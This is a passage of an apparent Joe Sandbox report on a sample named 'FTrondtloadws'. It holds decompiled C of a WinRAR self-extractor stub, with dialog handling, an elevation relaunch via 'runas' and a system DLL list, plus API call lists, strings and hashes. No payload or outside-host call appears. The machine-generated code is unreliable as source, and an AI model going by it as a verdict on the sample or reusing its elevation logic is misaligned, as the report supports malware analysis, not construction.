										_t296 =  *((intOrPtr*)(_t321 - 0xe));
										__eflags = _t257 - 5;
										if(_t257 == 5) {
											 *(_t321 - 0xd) = _t287;
										}
									}
									_t170 =  *0xd13899;
									__eflags = _t170;
									if(_t170 != 0) {
										L48:
										__eflags =  *((char*)(_t321 - 0xe));
										if( *((char*)(_t321 - 0xe)) != 0) {
											 *0xd1188c = _t287;
											E00CC12D1(_t304, 0x67, 0);
											E00CC12D1(_t304, 0x66, 0);
											SetDlgItemTextW(_t304, _t287, E00CCF917(0xe6)); // executed
											E00CC12D1(_t304, 0x69, _t287);
											SetDlgItemTextW(_t304, 0x65, 0xcf45f4); // executed
											_t315 = GetDlgItem(_t304, 0x65);
											__eflags = _t315;
											if(_t315 != 0) {
												_t207 = GetWindowLongW(_t315, 0xfffffff0) | 0x00000080;
												__eflags = _t207;
												SetWindowLongW(_t315, 0xfffffff0, _t207);
											}
											_push(5);
											_push( *0xd21cc4);
											_push(_t304);
											E00CDD701(_t302, _t304);
											_push(2);
											_push( *0xd21cc4);
											_push(_t304);
											E00CDD701(_t302, _t304);
											_push(0xd20cc0);
											_push(_t304);
											 *0xd23cf4 = _t287; // executed
											E00CDEA22(_t296, _t302, __eflags); // executed
											_push(6);
											_push( *0xd21cc4);
											 *0xd23cf4 = 0;
											_push(_t304);
											E00CDD701(_t302, _t304);
											__eflags =  *0xd0a46c;
											if( *0xd0a46c == 0) {
												__eflags =  *0xd0a474;
												if( *0xd0a474 == 0) {
													__eflags =  *0xd21ce4;
													if( *0xd21ce4 == 0) {
														_push(4);
														_push( *0xd21cc4);
														_push(_t304); // executed
														E00CDD701(_t302, _t304); // executed
													}
												}
											}
											E00CC12B3(_t304, _t287, _t287);
											 *0xd1188c =  *0xd1188c & 0x00000000;
											__eflags =  *0xd1188c;
											_t183 =  *0xd0a46c; // 0x1
											goto L73;
										}
										__eflags = _t170;
										if(_t170 != 0) {
											goto L65;
										}
										goto L50;
									} else {
										__eflags = _t296;
										if(_t296 == 0) {
											L50:
											_t217 =  *(_t321 - 0xd);
											__eflags = _t217;
											 *(_t321 - 0xd) = _t217 == 0;
											__eflags = _t217;
											if(_t217 == 0) {
												L64:
												__eflags =  *(_t321 - 0xd);
												if( *(_t321 - 0xd) == 0) {
													L11:
													_push(0);
													goto L25;
												}
												L65:
												_push(E00CCF917(0x9a));
												E00CC4A00(_t321 - 0x3874, 0xa00, L"\"%s\"\n%s", _t321 - 0x2474);
												E00CC7809(0xd030c4, _t287);
												E00CDB7C4(_t304, _t321 - 0x3874, E00CCF917(0x96), 0x30);
												 *0xd0a474 =  *0xd0a474 + 1;
												goto L11;
											}
											GetModuleFileNameW(0, _t321 - 0x1474, _t314);
											E00CD05C6(0xd1589c, 0xd11482, 0x200);
											_push(0xd1489a);
											E00CC4A00(_t321 - 0xa8ac, 0x421c, L"-el -s2 \"-d%s\" \"-sp%s\"", _t321 - 0x2474);
											_t323 = _t323 + 0x14;
											 *(_t321 - 0x58) = 0x3c;
											 *((intOrPtr*)(_t321 - 0x54)) = 0x40;
											 *((intOrPtr*)(_t321 - 0x48)) = _t321 - 0x1474;
											 *((intOrPtr*)(_t321 - 0x44)) = _t321 - 0xa8ac;
											 *(_t321 - 0x50) = _t304;
											 *((intOrPtr*)(_t321 - 0x4c)) = L"runas";
											 *(_t321 - 0x3c) = _t287;
											 *((intOrPtr*)(_t321 - 0x38)) = 0;
											 *((intOrPtr*)(_t321 - 0x40)) = 0xd11890;
											_t318 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7402, L"winrarsfxmappingfile.tmp");
											 *(_t321 - 0x14) = _t318;
											__eflags = _t318;
											if(_t318 == 0) {
												 *(_t321 - 0x1c) =  *(_t321 - 0x14);
											} else {
												 *0xd0a480 = 0;
												_t240 = GetCommandLineW();
												__eflags = _t240;
												if(_t240 != 0) {
													E00CD1908(0xd0a482, _t240, 0x2000);
												}
												E00CDC4B5(0xd1589c, 0xd0e482, 7);
												E00CDC4B5(0xd1589c, 0xd0f482, 2);
												E00CDC4B5(0xd1589c, 0xd10482, 0x10);
												E00CD0675(_t287, 0xd11482, 0x400, _t287, _t287);
												 *(_t321 - 0x1c) = MapViewOfFile(_t318, 2, 0, 0, 0);
												E00CE2C10(_t246, 0xd0a480, 0x7402);
												_t323 = _t323 + 0xc;
											}
											_t230 = ShellExecuteExW(_t321 - 0x58);
											E00CD0764(0xd11482, 0x400);
											E00CD0764(_t321 - 0xa8ac, 0x421c);
											__eflags = _t230;
											if(_t230 == 0) {
												_t320 =  *(_t321 - 0x1c);
												 *(_t321 - 0xd) = _t287;
												goto L62;
											} else {
												 *0xd250a4( *(_t321 - 0x20), 0x2710);
												_t64 = _t321 - 0x18;
												 *_t64 =  *(_t321 - 0x18) & 0x00000000;
												__eflags =  *_t64;
												_t320 =  *(_t321 - 0x1c);
												while(1) {
													__eflags =  *_t320;
													if( *_t320 != 0) {
														break;
													}
													Sleep(0x64);
													_t239 =  *(_t321 - 0x18) + 1;
													 *(_t321 - 0x18) = _t239;
													__eflags = _t239 - 0x64;
													if(_t239 < 0x64) {
														continue;
													}
													break;
												}
												 *0xd21ce4 =  *(_t321 - 0x20);
												L62:
												__eflags =  *(_t321 - 0x14);
												if( *(_t321 - 0x14) != 0) {
													UnmapViewOfFile(_t320);
													CloseHandle( *(_t321 - 0x14));
												}
												goto L64;
											}
										}
										E00CC4A00(_t321 - 0x1474, _t314, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
										_t323 = _t323 + 0x10;
										E00CCA79B(_t321 - 0x34b4);
										 *(_t321 - 4) =  *(_t321 - 4) & 0x00000000;
										_t254 = E00CCA8AE(_t321 - 0x34b4, _t321 - 0x1474, 0x11);
										 *((char*)(_t321 - 0xe)) = _t254;
										__eflags = _t254;
										if(_t254 == 0) {
											_t256 = GetLastError();
											__eflags = _t256 - 5;
											if(_t256 == 5) {
												 *(_t321 - 0xd) = _t287;
											}
										}
										_t37 = _t321 - 4;
										 *_t37 =  *(_t321 - 4) | 0xffffffff;
										__eflags =  *_t37;
										_t296 = _t321 - 0x34b4;
										E00CCA7DF(_t321 - 0x34b4); // executed
										_t170 =  *0xd13899;
										goto L48;
									}
								} else {
									_t258 = GetLastError();
									__eflags = _t258 - 5;
									if(_t258 == 5) {
										L38:
										 *(_t321 - 0xd) = _t287;
										goto L39;
									}
									__eflags = _t258 - 3;
									if(_t258 != 3) {
										goto L39;
									}
									goto L38;
								}
							} else {
								_t183 = _t287;
								 *0xd0a46c = _t183;
								L73:
								__eflags =  *0xd0a474;
								if( *0xd0a474 <= 0) {
									goto L24;
								}
								__eflags = _t183;
								if(_t183 != 0) {
									goto L24;
								}
								 *0xd0a46d = _t287;
								SetDlgItemTextW(_t304, _t287, E00CCF917(0x90));
								_t316 =  *0xd030c4;
								__eflags = _t316 - 9;
								if(_t316 != 9) {
									__eflags = _t316 - 3;
									_t190 = ((_t316 != 0x00000003) - 0x00000001 & 0x0000000b) + 0x97;
									__eflags = ((_t316 != 0x00000003) - 0x00000001 & 0x0000000b) + 0x97;
								} else {
									_t190 = 0xa0;
								}
								E00CD1908(_t321 - 0x474, E00CCF917(_t190), 0x200);
								__eflags = _t316 - 9;
								if(_t316 == 9) {
									__eflags =  *0xd20cb8;
									if( *0xd20cb8 != 0) {
										_t198 = E00CE4DF3(_t321 - 0x474);
										_t199 = E00CCF917(0xa1);
										__eflags = 0x200;
										E00CC4A00(_t321 - 0x474 + _t198 * 2, 0x200 - _t198, L"\n%s", _t199);
									}
								}
								E00CDB7C4(_t304, _t321 - 0x474, E00CCF917(0x96), 0x30);
								goto L128;
							}
						}
						_t287 = 1;
						__eflags =  *0xd0a46e;
						if( *0xd0a46e == 0) {
							goto L24;
						}
						goto L23;
					}
					__eflags =  *0xd23cf4;
					if( *0xd23cf4 == 0) {
						goto L21;
					} else {
						__eflags =  *0xd23cf5;
						 *0xd23cf5 = _t149 & 0xffffff00 |  *0xd23cf5 == 0x00000000;
						SetDlgItemTextW(_t304, 1, E00CCF917(((_t149 & 0xffffff00 |  *0xd23cf5 == 0x00000000) & 0x000000ff) + 0xe6));
						while(1) {
							__eflags =  *0xd23cf5;
							if( *0xd23cf5 == 0) {
								goto L128;
							}
							__eflags =  *0xd0a46c;
							if( *0xd0a46c != 0) {
								goto L128;
							}
							_t272 = GetMessageW(_t321 - 0x74, 0, 0, 0);
							__eflags = _t272;
							if(_t272 == 0) {
								goto L128;
							} else {
								_t274 = IsDialogMessageW(_t304, _t321 - 0x74);
								__eflags = _t274;
								if(_t274 == 0) {
									TranslateMessage(_t321 - 0x74);
									DispatchMessageW(_t321 - 0x74);
								}
								continue;
							}
						}
						goto L128;
					}
				}
				_t279 = _t149 - 1;
				if(_t279 == 0) {
					__eflags =  *0xd1188c;
					 *0xd0a46c = 1;
					if( *0xd1188c == 0) {
						goto L11;
					}
					__eflags =  *0xd0a474;
					if( *0xd0a474 != 0) {
						goto L128;
					}
					goto L11;
				}
				if(_t279 == 0x65) {
					_push(0x800);
					_t283 = E00CC122F(_t304, E00CCF917(0x64), _t321 - 0x1474);
					__eflags = _t283;
					if(_t283 == 0) {
						goto L128;
					} else {
						_push(_t321 - 0x1474);
						_push(0x66);
						goto L127;
					}
				}
				goto L6;
			}

0x00cdc870
0x00cdc870
0x00cdc875
0x00cdc87f
0x00cdc886
0x00cdc88a
0x00cdc89e
0x00cdc8a5
0x00cdc8a8
0x00cdd285
0x00cdd285
0x00cdd287
0x00cdd28d
0x00cdd295
0x00cdd295
0x00cdc8ae
0x00cdc8b4
0x00cdcf91
0x00cdcf92
0x00cdcf97
0x00cdcf9c
0x00cdcfa2
0x00cdcfa8
0x00cdcfaa
0x00cdcfb4
0x00cdcfb4
0x00cdcfba
0x00cdcfbf
0x00cdcfc1
0x00cdcfce
0x00cdcfce
0x00cdcfd7
0x00cdcfea
0x00cdcfed
0x00cdcfff
0x00cdd007
0x00cdd00d
0x00cdd015
0x00cdd017
0x00cdd01a
0x00cdd01f
0x00cdd021
0x00cdd021
0x00cdd029
0x00cdd030
0x00cdd035
0x00cdd03a
0x00cdd03f
0x00cdd044
0x00cdd045
0x00cdd04c
0x00cdd051
0x00cdd053
0x00cdd055
0x00cdd055
0x00cdd05b
0x00cdd062
0x00cdd064
0x00cdd066
0x00cdd06c
0x00cdd06d
0x00cdd06d
0x00cdd072
0x00cdd079
0x00cdd089
0x00cdd09c
0x00cdd09c
0x00cdd0a2
0x00cdd0a9
0x00cdd15a
0x00cdd15a
0x00cdd161
0x00cdd20d
0x00cdd20d
0x00cdd214
0x00cdd219
0x00cdd219
0x00cdd21f
0x00cdd226
0x00cdd22d
0x00cdd237
0x00cdd237
0x00cdd23c
0x00cdd241
0x00cdd243
0x00cdd245
0x00cdd24c
0x00cdd24e
0x00cdd250
0x00cdd251
0x00cdd256
0x00cdd257
0x00cdd259
0x00cdd263
0x00cdd25b
0x00cdd25b
0x00cdd25b
0x00cdd259
0x00cdd24c
0x00cdd269
0x00cdd270
0x00cdd27c
0x00cdd27d
0x00cdd27e
0x00cdd27f
0x00cdd27f
0x00000000
0x00cdd270
0x00cdd167
0x00cdd16e
0x00000000
0x00000000
0x00cdd174
0x00cdd17b
0x00000000
0x00000000
0x00cdd181
0x00cdd183
0x00cdd188
0x00cdd188
0x00cdd18f
0x00cdd18f
0x00cdd18f
0x00cdd18f
0x00cdd195
0x00000000
0x00000000
0x00cdd197
0x00cdd19e
0x00000000
0x00000000
0x00cdd1a0
0x00cdd1a0
0x00cdd1a6
0x00cdd1b4
0x00cdd1c5
0x00cdd1dd
0x00000000
0x00cdd1dd
0x00cdd1a8
0x00cdd1af
0x00000000
0x00000000
0x00cdd1b1
0x00cdd1b1
0x00cdd1e2
0x00cdd1e3
0x00cdd1e3
0x00cdd1eb
0x00cdd205
0x00cdd20a
0x00000000
0x00cdd0af
0x00cdd0af
0x00cdd0b1
0x00cdd0b7
0x00cdd0b8
0x00cdd0bd
0x00cdd0c2
0x00cdd0c4
0x00cdd0c6
0x00cdd0cd
0x00cdd0cf
0x00cdd0e3
0x00cdd0ee
0x00cdd0f3
0x00cdd0cd
0x00cdd0f4
0x00cdd0fa
0x00cdd14d
0x00cdd14d
0x00cdd14e
0x00cdd154
0x00cdd155
0x00000000
0x00cdd0fc
0x00cdd0fd
0x00cdd103
0x00cdd109
0x00000000
0x00000000
0x00cdd10b
0x00cdd112
0x00000000
0x00000000
0x00cdd114
0x00cdd116
0x00cdd11c
0x00cdd11d
0x00cdd122
0x00cdd129
0x00000000
0x00000000
0x00cdd13f
0x00cdd145
0x00cdd147
0x00cdc9e8
0x00cdc9e8
0x00cdc9ee
0x00cdc9ee
0x00cdc9ef
0x00cdc9f0
0x00000000
0x00cdc9f0
0x00000000
0x00cdd147
0x00cdd0fa
0x00cdd0a9
0x00cdc8bc
0x00cdc8d1
0x00cdc8d1
0x00000000
0x00cdc8d1
0x00cdc8c4
0x00cdc8c6
0x00cdc92b
0x00cdc932
0x00cdc9be
0x00cdc9cd
0x00cdc9d3
0x00cdc9da
0x00cdc9fb
0x00cdca02
0x00cdca13
0x00cdca19
0x00cdca20
0x00cdca22
0x00cdca2e
0x00cdca41
0x00cdca41
0x00cdca48
0x00cdca4e
0x00cdca55
0x00cdca70
0x00cdca84
0x00cdca91
0x00cdcab4
0x00cdcab9
0x00cdcac2
0x00cdcac3
0x00cdcac5
0x00cdca57
0x00cdca61
0x00cdca62
0x00cdca64
0x00cdca69
0x00cdca69
0x00cdcaca
0x00cdcad1
0x00cdcada
0x00cdcada
0x00cdcae3
0x00cdcaef
0x00cdcaf4
0x00cdcaf6
0x00cdcb0b
0x00cdcb17
0x00cdcb19
0x00cdcb1c
0x00cdcb1e
0x00cdcb20
0x00cdcb26
0x00cdcb29
0x00cdcb2c
0x00cdcb2e
0x00cdcb2e
0x00cdcb2c
0x00cdcb31
0x00cdcb36
0x00cdcb38
0x00cdcba6
0x00cdcba6
0x00cdcbaa
0x00cdcddd
0x00cdcde3
0x00cdcded
0x00cdcdff
0x00cdce09
0x00cdce16
0x00cdce25
0x00cdce27
0x00cdce29
0x00cdce34
0x00cdce34
0x00cdce3d
0x00cdce3d
0x00cdce43
0x00cdce45
0x00cdce4b
0x00cdce4c
0x00cdce51
0x00cdce53
0x00cdce59
0x00cdce5a
0x00cdce5f
0x00cdce64
0x00cdce65
0x00cdce6b
0x00cdce70
0x00cdce72
0x00cdce78
0x00cdce7f
0x00cdce80
0x00cdce85
0x00cdce8c
0x00cdce8e
0x00cdce95
0x00cdce97
0x00cdce9e
0x00cdcea0
0x00cdcea2
0x00cdcea8
0x00cdcea9
0x00cdcea9
0x00cdce9e
0x00cdce95
0x00cdceb1
0x00cdceb6
0x00cdceb6
0x00cdcebd
0x00000000
0x00cdcebd
0x00cdcbb0
0x00cdcbb2
0x00000000
0x00000000
0x00000000
0x00cdcb3a
0x00cdcb3a
0x00cdcb3c
0x00cdcbb8
0x00cdcbb8
0x00cdcbbb
0x00cdcbbd
0x00cdcbc1
0x00cdcbc3
0x00cdcd73
0x00cdcd73
0x00cdcd77
0x00cdc924
0x00cdc924
0x00000000
0x00cdc924
0x00cdcd7d
0x00cdcd87
0x00cdcda0
0x00cdcdae
0x00cdcdc8
0x00cdcdcd
0x00000000
0x00cdcdcd
0x00cdcbd3
0x00cdcbe8
0x00cdcbed
0x00cdcc0a
0x00cdcc0f
0x00cdcc12
0x00cdcc1f
0x00cdcc26
0x00cdcc2f
0x00cdcc47
0x00cdcc4a
0x00cdcc51
0x00cdcc54
0x00cdcc57
0x00cdcc64
0x00cdcc66
0x00cdcc69
0x00cdcc6b
0x00cdccec
0x00cdcc6d
0x00cdcc6d
0x00cdcc74
0x00cdcc7a
0x00cdcc7c
0x00cdcc89
0x00cdcc89
0x00cdcc95
0x00cdcca1
0x00cdccad
0x00cdccbe
0x00cdccdc
0x00cdccdf
0x00cdcce4
0x00cdcce4
0x00cdccf3
0x00cdcd05
0x00cdcd16
0x00cdcd1b
0x00cdcd1d
0x00cdcd57
0x00cdcd5a
0x00000000
0x00cdcd1f
0x00cdcd27
0x00cdcd2d
0x00cdcd2d
0x00cdcd2d
0x00cdcd31
0x00cdcd34
0x00cdcd34
0x00cdcd37
0x00000000
0x00000000
0x00cdcd3b
0x00cdcd44
0x00cdcd45
0x00cdcd48
0x00cdcd4b
0x00000000
0x00000000
0x00000000
0x00cdcd4b
0x00cdcd50
0x00cdcd5d
0x00cdcd5d
0x00cdcd61
0x00cdcd64
0x00cdcd6d
0x00cdcd6d
0x00000000
0x00cdcd61
0x00cdcd1d
0x00cdcb52
0x00cdcb57
0x00cdcb60
0x00cdcb65
0x00cdcb78
0x00cdcb7d
0x00cdcb80
0x00cdcb82
0x00cdcb84
0x00cdcb8a
0x00cdcb8d
0x00cdcb8f
0x00cdcb8f
0x00cdcb8d
0x00cdcb92
0x00cdcb92
0x00cdcb92
0x00cdcb96
0x00cdcb9c
0x00cdcba1
0x00000000
0x00cdcba1
0x00cdcaf8
0x00cdcaf8
0x00cdcafe
0x00cdcb01
0x00cdcb08
0x00cdcb08
0x00000000
0x00cdcb08
0x00cdcb03
0x00cdcb06
0x00000000
0x00000000
0x00000000
0x00cdcb06
0x00cdca04
0x00cdca04
0x00cdca06
0x00cdcec2
0x00cdcec2
0x00cdcec9
0x00000000
0x00000000
0x00cdcecf
0x00cdced1
0x00000000
0x00000000
0x00cdcedc
0x00cdceea
0x00cdcef0
0x00cdcef6
0x00cdcef9
0x00cdcf04
0x00cdcf0e
0x00cdcf0e
0x00cdcefb
0x00cdcefb
0x00cdcefb
0x00cdcf26
0x00cdcf2b
0x00cdcf2e
0x00cdcf30
0x00cdcf37
0x00cdcf40
0x00cdcf4d
0x00cdcf58
0x00cdcf6a
0x00cdcf6f
0x00cdcf37
0x00cdcf87
0x00000000
0x00cdcf87
0x00cdca02
0x00cdc9de
0x00cdc9df
0x00cdc9e6
0x00000000
0x00000000
0x00000000
0x00cdc9e6
0x00cdc938
0x00cdc93f
0x00000000
0x00cdc941
0x00cdc941
0x00cdc94b
0x00cdc961
0x00cdc9b0
0x00cdc9b0
0x00cdc9b7
0x00cdc9b9
0x00cdc9b9
0x00cdc969
0x00cdc970
0x00000000
0x00000000
0x00cdc97f
0x00cdc985
0x00cdc987
0x00000000
0x00cdc98d
0x00cdc992
0x00cdc998
0x00cdc99a
0x00cdc9a0
0x00cdc9aa
0x00cdc9aa
0x00000000
0x00cdc99a
0x00cdc987
0x00000000
0x00cdc9b0
0x00cdc93f
0x00cdc8c8
0x00cdc8ca
0x00cdc908
0x00cdc90f
0x00cdc915
0x00000000
0x00000000
0x00cdc917
0x00cdc91e
0x00000000
0x00000000
0x00000000
0x00cdc91e
0x00cdc8cf
0x00cdc8d8
0x00cdc8ed
0x00cdc8f2
0x00cdc8f4
0x00000000
0x00cdc8fa
0x00cdc900
0x00cdc901
0x00000000
0x00cdc901
0x00cdc8f4
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00CDC875

Part of subcall function 00CC12F6: GetDlgItem.USER32(00000000,00003021), ref: 00CC133A
Part of subcall function 00CC12F6: SetWindowTextW.USER32(00000000,00CF45F4), ref: 00CC1350

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDC961
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDC97F
IsDialogMessageW.USER32(?,?), ref: 00CDC992
TranslateMessage.USER32(?), ref: 00CDC9A0
DispatchMessageW.USER32(?), ref: 00CDC9AA
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00CDC9CD
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 00CDC9F0
GetDlgItem.USER32(?,00000068), ref: 00CDCA13
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00CDCA2E
SendMessageW.USER32(00000000,000000C2,00000000,00CF45F4), ref: 00CDCA41

Part of subcall function 00CDE415: _wcslen.LIBCMT ref: 00CDE43F

SetFocus.USER32(00000000), ref: 00CDCA48
_swprintf.LIBCMT ref: 00CDCAB4

Part of subcall function 00CC4A00: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC4A13

Part of subcall function 00CDE496: GetDlgItem.USER32(00000068,00D21CF0), ref: 00CDE4AA
Part of subcall function 00CDE496: ShowWindow.USER32(00000000,00000005,?,?,00000001,?,?,00CDC849,00CF60F0,00D21CF0,00D21CF0,00001000,00D030C4,00000000,?), ref: 00CDE4D2
Part of subcall function 00CDE496: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00CDE4DD
Part of subcall function 00CDE496: SendMessageW.USER32(00000000,000000C2,00000000,00CF45F4), ref: 00CDE4EB
Part of subcall function 00CDE496: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CDE501
Part of subcall function 00CDE496: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00CDE51B
Part of subcall function 00CDE496: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CDE55F
Part of subcall function 00CDE496: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00CDE56D
Part of subcall function 00CDE496: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CDE57C
Part of subcall function 00CDE496: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CDE5A3
Part of subcall function 00CDE496: SendMessageW.USER32(00000000,000000C2,00000000,00CF549C), ref: 00CDE5B2

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00CDCAF8
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00CDCB20
GetTickCount.KERNEL32 ref: 00CDCB3E
_swprintf.LIBCMT ref: 00CDCB52
GetLastError.KERNEL32(?,00000011), ref: 00CDCB84
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00CDCBD3
_swprintf.LIBCMT ref: 00CDCC0A
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007402,winrarsfxmappingfile.tmp), ref: 00CDCC5E
GetCommandLineW.KERNEL32 ref: 00CDCC74
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,00D11482,00000400,00000001,00000001), ref: 00CDCCCB
ShellExecuteExW.SHELL32(0000003C), ref: 00CDCCF3
Sleep.KERNEL32(00000064), ref: 00CDCD3B
UnmapViewOfFile.KERNEL32(?,?,0000421C,00D11482,00000400), ref: 00CDCD64
CloseHandle.KERNEL32(00000000), ref: 00CDCD6D
_swprintf.LIBCMT ref: 00CDCDA0
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDCDFF
SetDlgItemTextW.USER32(?,00000065,00CF45F4), ref: 00CDCE16
GetDlgItem.USER32(?,00000065), ref: 00CDCE1F
GetWindowLongW.USER32(00000000,000000F0), ref: 00CDCE2E
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00CDCE3D
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDCEEA
_wcslen.LIBCMT ref: 00CDCF40
_swprintf.LIBCMT ref: 00CDCF6A
SendMessageW.USER32(?,00000080,00000001,?), ref: 00CDCFB4
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00CDCFCE
GetDlgItem.USER32(?,00000068), ref: 00CDCFD7
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00CDCFED
GetDlgItem.USER32(?,00000066), ref: 00CDD007
SetWindowTextW.USER32(00000000,00D1389A), ref: 00CDD029
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00CDD089
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDD09C
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001C650,00000000,?), ref: 00CDD13F
EnableWindow.USER32(00000000,00000000), ref: 00CDD219
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00CDD25B

Part of subcall function 00CDD701: __EH_prolog.LIBCMT ref: 00CDD706

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDD27F

Strings

@, xrefs: 00CDCC1F
STARTDLG, xrefs: 00CDC891
<, xrefs: 00CDCC12
-el -s2 "-d%s" "-sp%s", xrefs: 00CDCBF9
LICENSEDLG, xrefs: 00CDD134
__tmp_rar_sfx_access_check_%u, xrefs: 00CDCB45
"%s"%s, xrefs: 00CDCD8F
%s, xrefs: 00CDCF5A
winrarsfxmappingfile.tmp, xrefs: 00CDCC34

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3445078344-1645151803
Opcode ID: 895f3d3a3aba8f1d4dc9d3921b0dc4495c4e80434d770e2b21328a8a44f79fad
Instruction ID: 1d402a4cdf2a1096803fff1d33ebe7101bb6654bd24a44af425349b663745cb1
Opcode Fuzzy Hash: 895f3d3a3aba8f1d4dc9d3921b0dc4495c4e80434d770e2b21328a8a44f79fad
Instruction Fuzzy Hash: 9842D470940345BAEB21AB64EC8AFBE7B6CAB11700F04405AF755E63D2CB748E45DB72

Uniqueness

Uniqueness Score: -1.00%

Function 00CD1B5C Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00CD1B5C(void* __edx, char _a3, long _a4, short* _a8, short* _a12, short* _a16, short* _a20, short* _a24, short* _a28, short* _a32, short* _a36, short* _a40, short* _a44, short* _a48, short* _a52, short* _a56, short* _a60, short* _a64, short* _a68, short* _a72, short* _a76, short* _a80, short* _a84, short* _a88, short* _a92, short* _a96, short* _a100, short* _a104, short* _a108, short* _a112, short* _a116, short* _a120, short* _a124, short* _a128, short* _a132, short* _a136, short* _a140, short* _a144, short* _a148, short* _a152, short* _a156, short* _a160, short* _a164, short* _a168, short* _a172, short* _a176, short* _a180, short* _a184, short* _a188, short* _a192, short* _a196, short* _a200, short* _a204, short* _a208, short* _a212, short* _a216, short* _a220, short* _a224, short* _a228, short* _a232, short* _a236, short* _a240, short* _a244, char _a248, char _a252, short _a756, short _a760, char _a768, short _a772, char _a4848, char _a4852, void _a4860, char _a4864, short _a4868, char _a9152, char _a9160, void _a13260, signed char _a46032) {
				char _v1;
				long _v4;
				char* _t111;
				int _t122;
				long _t133;
				void* _t149;
				_Unknown_base(*)()* _t168;
				struct _OVERLAPPED* _t174;
				struct _OVERLAPPED* _t175;
				signed char _t176;
				_Unknown_base(*)()* _t177;
				struct _OVERLAPPED* _t189;
				long _t190;
				void* _t191;
				_Unknown_base(*)()* _t192;
				struct HINSTANCE__* _t193;
				signed int _t195;
				struct _OVERLAPPED* _t196;
				signed int _t197;
				void* _t198;
				_Unknown_base(*)()* _t199;
				signed int _t200;
				int _t201;
				void* _t202;

				E00CDFE20(0xb3cc);
				_t174 = 0;
				_a3 = 0;
				_t193 = GetModuleHandleW(L"kernel32");
				if(_t193 != 0) {
					_t168 = GetProcAddress(_t193, "SetDllDirectoryW");
					_t176 = _a46032;
					_t192 = _t168;
					if(_t192 != 0) {
						asm("sbb ecx, ecx");
						_t177 = _t192;
						 *0xcf4278( ~(_t176 & 0x000000ff) & 0x00cf45f4);
						 *_t192();
					}
					_t199 = GetProcAddress(_t193, "SetDefaultDllDirectories");
					if(_t199 != 0) {
						_t177 = _t199;
						 *0xcf4278((_t176 & 0x000000ff ^ 0x00000001) + 1 << 0xb);
						 *_t199();
						_v1 = 1;
					}
					_t174 = 0;
				}
				_t111 =  *0xd001a4; // 0xcf4cd4
				_t201 = _t200 | 0xffffffff;
				_a8 = L"version.dll";
				_t194 = 0x800;
				_a12 = L"DXGIDebug.dll";
				_a16 = L"sfc_os.dll";
				_a20 = L"SSPICLI.DLL";
				_a24 = L"rsaenh.dll";
				_a28 = L"UXTheme.dll";
				_a32 = L"dwmapi.dll";
				_a36 = L"cryptbase.dll";
				_a40 = L"lpk.dll";
				_a44 = L"usp10.dll";
				_a48 = L"clbcatq.dll";
				_a52 = L"comres.dll";
				_a56 = L"ws2_32.dll";
				_a60 = L"ws2help.dll";
				_a64 = L"psapi.dll";
				_a68 = L"ieframe.dll";
				_a72 = L"ntshrui.dll";
				_a76 = L"atl.dll";
				_a80 = L"setupapi.dll";
				_a84 = L"apphelp.dll";
				_a88 = L"userenv.dll";
				_a92 = L"netapi32.dll";
				_a96 = L"shdocvw.dll";
				_a100 = L"crypt32.dll";
				_a104 = L"msasn1.dll";
				_a108 = L"cryptui.dll";
				_a112 = L"wintrust.dll";
				_a116 = L"shell32.dll";
				_a120 = L"secur32.dll";
